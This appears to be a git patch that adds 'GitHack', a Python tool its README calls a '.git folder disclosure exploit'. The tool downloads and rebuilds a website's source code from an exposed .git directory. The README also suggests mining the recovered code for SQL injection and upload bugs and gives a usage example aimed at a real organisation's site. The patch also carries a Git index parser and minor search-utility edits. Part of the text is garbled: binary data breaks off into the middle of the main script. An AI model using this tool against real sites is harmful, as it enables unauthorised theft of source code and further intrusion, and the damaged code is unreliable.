From 8c78f939e4313a7352fa269b79318c8320b58bc2 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?=E8=82=96=E6=B6=9B?= Date: Sat, 7 Oct 2017 09:45:55 +0800 Subject: [PATCH] add githack --- GitHack/.DS_Store | Bin 0 -> 6148 bytes GitHack/GitHack.py | 109 ++++++++++++++++++++++++++++++++ GitHack/README.md | 38 +++++++++++ GitHack/lib/__init__.py | 0 GitHack/lib/parser.py | 135 ++++++++++++++++++++++++++++++++++++++++ utils/google.py | 2 +- utils/googlesearch.py | 2 +- utils/webutils.py | 4 +- 8 files changed, 286 insertions(+), 4 deletions(-) create mode 100644 GitHack/.DS_Store create mode 100644 GitHack/GitHack.py create mode 100644 GitHack/README.md create mode 100644 GitHack/lib/__init__.py create mode 100644 GitHack/lib/parser.py diff --git a/GitHack/.DS_Store b/GitHack/.DS_Store new file mode 100644 index 0000000000000000000000000000000000000000..3038f8f482ae49fa7223ca4539328bc378841365 GIT binary patch literal 6148 zcmeHK%}T>S5T3PFqoVd8=y5OJN@)&SFG8sG;7zFLL8VP>v4NPCHZ^Lk0s;vNu#hn z7`X0MQC8exQ4T7Va#8M-w}(T=S>JSb51LnZ_k)Mw((ctWE>fJa} z@g%q#=0: + self._print('[File not found] %s' % file_name) + break + except Exception, e: + self._print('[Error] %s' % e) + self.exit_thread() + + def exit_thread(self): + self.lock.acquire() + self.thread_count -= 1 + self.lock.release() + + def scan(self): + for i in range(self.thread_count): + t = threading.Thread(target=self.get_back_file) + t.start() + + +s = Scanner() +s.scan() +try: + while s.thread_count > 0: + time.sleep(0.1) +except KeyboardInterrupt, e: + s.STOP_ME = True + time.sleep(1.0) + print 'User Aborted.' \ No newline at end of file diff --git a/GitHack/README.md b/GitHack/README.md new file mode 100644 index 0000000..10577e8 --- /dev/null +++ b/GitHack/README.md @@ -0,0 +1,38 @@ +GitHack += + +GitHack is a `.git` folder disclosure exploit. + +It rebuild source code from .git folder while keep directory structure unchanged. + +GitHack是一个.git泄露利用脚本,通过泄露的.git文件夹下的文件,重建还原工程源代码。 + +渗透测试人员、攻击者,可以进一步审计代码,挖掘:文件上传,SQL注射等安全漏洞。 + +## 脚本的工作原理 ## + +* 解析.git/index文件,找到工程中所有的: ( 文件名,文件sha1 ) +* 去.git/objects/ 文件夹下下载对应的文件 +* zlib解压文件,按原始的目录结构写入源代码 + +## 它的优点 ## + +* 速度快,默认20个工作线程 +* 尽量还原所有的源代码,缺失部分文件不影响脚本工作 +* 脚本不需要执行额外的git命令,All you need is python +* 脚本无需浏览目录 + +## 可能的改进## + +* 存在文件被gc打包到git\objects\pack的情况,稍后可测试下看能否直接获取并解压这个文件,还原源代码 + +##用法示例## + GitHack.py http://www.openssl.org/.git/ + +##反馈## +* my[at]lijiejie.com +* [http://www.lijiejie.com](http://www.lijiejie.com) + +##Thanks## +Thanks for sbp's great work, I used his .git index parser [gin - a Git index file parser](https://github.com/sbp/gin) + diff --git a/GitHack/lib/__init__.py b/GitHack/lib/__init__.py new file mode 100644 index 0000000..e69de29 diff --git a/GitHack/lib/parser.py b/GitHack/lib/parser.py new file mode 100644 index 0000000..1b717fd --- /dev/null +++ b/GitHack/lib/parser.py @@ -0,0 +1,135 @@ +#!/usr/bin/env python +# +# https://github.com/git/git/blob/master/Documentation/technical/index-format.txt +# + +import binascii +import collections +import mmap +import struct +import sys + + +def check(boolean, message): + if not boolean: + import sys + print "error: " + message + sys.exit(1) + + +def parse(filename, pretty=True): + with open(filename, "rb") as o: + f = mmap.mmap(o.fileno(), 0, access=mmap.ACCESS_READ) + + def read(format): + # "All binary numbers are in network byte order." + # Hence "!" = network order, big endian + format = "! " + format + bytes = f.read(struct.calcsize(format)) + return struct.unpack(format, bytes)[0] + + index = collections.OrderedDict() + + # 4-byte signature, b"DIRC" + index["signature"] = f.read(4).decode("ascii") + check(index["signature"] == "DIRC", "Not a Git index file") + + # 4-byte version number + index["version"] = read("I") + check(index["version"] in {2, 3}, + "Unsupported version: %s" % index["version"]) + + # 32-bit number of index entries, i.e. 4-byte + index["entries"] = read("I") + + yield index + + for n in range(index["entries"]): + entry = collections.OrderedDict() + + entry["entry"] = n + 1 + + entry["ctime_seconds"] = read("I") + entry["ctime_nanoseconds"] = read("I") + if pretty: + entry["ctime"] = entry["ctime_seconds"] + entry["ctime"] += entry["ctime_nanoseconds"] / 1000000000 + del entry["ctime_seconds"] + del entry["ctime_nanoseconds"] + + entry["mtime_seconds"] = read("I") + entry["mtime_nanoseconds"] = read("I") + if pretty: + entry["mtime"] = entry["mtime_seconds"] + entry["mtime"] += entry["mtime_nanoseconds"] / 1000000000 + del entry["mtime_seconds"] + del entry["mtime_nanoseconds"] + + entry["dev"] = read("I") + entry["ino"] = read("I") + + # 4-bit object type, 3-bit unused, 9-bit unix permission + entry["mode"] = read("I") + if pretty: + entry["mode"] = "%06o" % entry["mode"] + + entry["uid"] = read("I") + entry["gid"] = read("I") + entry["size"] = read("I") + + entry["sha1"] = binascii.hexlify(f.read(20)).decode("ascii") + entry["flags"] = read("H") + + # 1-bit assume-valid + entry["assume-valid"] = bool(entry["flags"] & (0b10000000 << 8)) + # 1-bit extended, must be 0 in version 2 + entry["extended"] = bool(entry["flags"] & (0b01000000 << 8)) + # 2-bit stage (?) + stage_one = bool(entry["flags"] & (0b00100000 << 8)) + stage_two = bool(entry["flags"] & (0b00010000 << 8)) + entry["stage"] = stage_one, stage_two + # 12-bit name length, if the length is less than 0xFFF (else, 0xFFF) + namelen = entry["flags"] & 0xFFF + + # 62 bytes so far + entrylen = 62 + + if entry["extended"] and (index["version"] == 3): + entry["extra-flags"] = read("H") + # 1-bit reserved + entry["reserved"] = bool(entry["extra-flags"] & (0b10000000 << 8)) + # 1-bit skip-worktree + entry["skip-worktree"] = bool(entry["extra-flags"] & (0b01000000 << 8)) + # 1-bit intent-to-add + entry["intent-to-add"] = bool(entry["extra-flags"] & (0b00100000 << 8)) + # 13-bits unused + # used = entry["extra-flags"] & (0b11100000 << 8) + # check(not used, "Expected unused bits in extra-flags") + entrylen += 2 + + if namelen < 0xFFF: + entry["name"] = f.read(namelen).decode("utf-8", "replace") + entrylen += namelen + else: + # Do it the hard way + name = [] + while True: + byte = f.read(1) + if byte == "\x00": + break + name.append(byte) + entry["name"] = b"".join(name).decode("utf-8", "replace") + entrylen += 1 + + padlen = (8 - (entrylen % 8)) or 8 + nuls = f.read(padlen) + check(set(nuls) == set(['\x00']), "padding contained non-NUL") + + yield entry + + f.close() + + + + + diff --git a/utils/google.py b/utils/google.py index 5a0b9e0..90fe632 100644 --- a/utils/google.py +++ b/utils/google.py @@ -14,7 +14,7 @@ if os.environ.has_key('search_engine'): search_engine = os.environ['search_engine'] else: - search_engine = 'hxgoogle' + search_engine = 'google' if search_engine == 'gfsoso': google = gfsoso.google diff --git a/utils/googlesearch.py b/utils/googlesearch.py index 6054b3e..ff99239 100644 --- a/utils/googlesearch.py +++ b/utils/googlesearch.py @@ -6,7 +6,7 @@ import webutils import sys, os -GOOGLE_HOME = 'http://64.233.161.104' +GOOGLE_HOME = 'https://www.google.com' GOOGLE_SEARCH_URL = GOOGLE_HOME + '/search?hl=en_US&start=%d&q=%s' REQ_TIMEOUT = 20 NUM_PER_PAGE = 10 diff --git a/utils/webutils.py b/utils/webutils.py index 78365c4..5b8285d 100644 --- a/utils/webutils.py +++ b/utils/webutils.py @@ -35,11 +35,11 @@ def setupOpener(opener): global cookieJar cookieJar = cookielib.CookieJar() opener.add_handler(urllib2.HTTPCookieProcessor(cookieJar)) - + """ if os.environ.has_key('http_proxy'): prx = os.environ['http_proxy'] opener.add_handler(urllib2.ProxyHandler({'http': prx})) - + """ topurlPostfix = ( '.com','.la','.io', '.co',